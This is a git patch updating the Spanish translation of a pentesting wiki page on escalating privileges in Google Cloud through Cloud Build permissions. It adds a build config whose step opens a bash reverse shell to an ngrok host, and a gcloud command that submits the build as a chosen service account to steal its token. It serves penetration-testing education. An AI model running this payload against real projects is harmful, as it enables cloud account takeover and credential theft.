From d91d15a8a1ce21e9f4554532ae0649968d01c523 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:46:58 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-cloudbuild-privesc.md | 30 +++++++++++++------ 1 file changed, 21 insertions(+), 9 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index 4d5b4a409..459575b71 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -4,7 +4,7 @@ ## cloudbuild -Para más información sobre Cloud Build, consulta: +Para más información sobre Cloud Build consulta: {{#ref}} ../gcp-services/gcp-cloud-build-enum.md @@ -12,18 +12,30 @@ Para más información sobre Cloud Build, consulta: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -Con este permiso puedes **enviar un cloud build**. La máquina de cloudbuild tendrá en su sistema de archivos por **defecto un token de la Service Account de cloudbuild**: `@cloudbuild.gserviceaccount.com`. Sin embargo, puedes **indicar cualquier service account dentro del proyecto** en la configuración de cloudbuild.\ -Por lo tanto, puedes hacer que la máquina exfiltre el token a tu servidor o **obtener un reverse shell dentro de ella y conseguir el token** (el archivo que contiene el token puede cambiar). +Con este permiso puedes **enviar un cloud build**. La máquina de cloudbuild tendrá en su sistema de archivos por **defecto un token de la Service Account de cloudbuild**: `@cloudbuild.gserviceaccount.com`. Sin embargo, puedes **indicar cualquier cuenta de servicio dentro del proyecto** en la configuración de cloudbuild.\ +Por lo tanto, puedes hacer que la máquina exfiltre el token a tu servidor o **obtener un shell reverso dentro de ella y conseguir el token** (el archivo que contiene el token puede cambiar). -Puedes encontrar el script de explotación original [**aquí en GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (pero la ubicación de donde toma el token no funcionó para mí). Por lo tanto, consulta un script para automatizar la [**creación, explotación y limpieza de un entorno vulnerable aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) y un script de python para obtener un reverse shell dentro de la máquina de cloudbuild y [**robarlo aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (en el código puedes encontrar cómo especificar otras service accounts)**.** +#### Explotación directa a través de gcloud CLI + +1- Crea `cloudbuild.yaml` y modifica con los datos de tu listener. +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- Suba una compilación simple sin fuente, el archivo yaml y especifique el SA a utilizar en la compilación: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Usando la biblioteca gcloud de python +Puedes encontrar el script de explotación original [**aquí en GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (pero la ubicación de donde toma el token no funcionó para mí). Por lo tanto, revisa un script para automatizar la [**creación, explotación y limpieza de un entorno vulnerable aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) y un script de python para obtener un shell reverso dentro de la máquina cloudbuild y [**robarlo aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (en el código puedes encontrar cómo especificar otras cuentas de servicio)**.** Para una explicación más detallada, visita [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**Potencialmente** con este permiso podrás **actualizar un cloud build y simplemente robar el token de la service account** como se realizó con el permiso anterior (pero desafortunadamente en el momento de escribir esto no pude encontrar ninguna manera de llamar a esa API). - -TODO ### `cloudbuild.repositories.accessReadToken`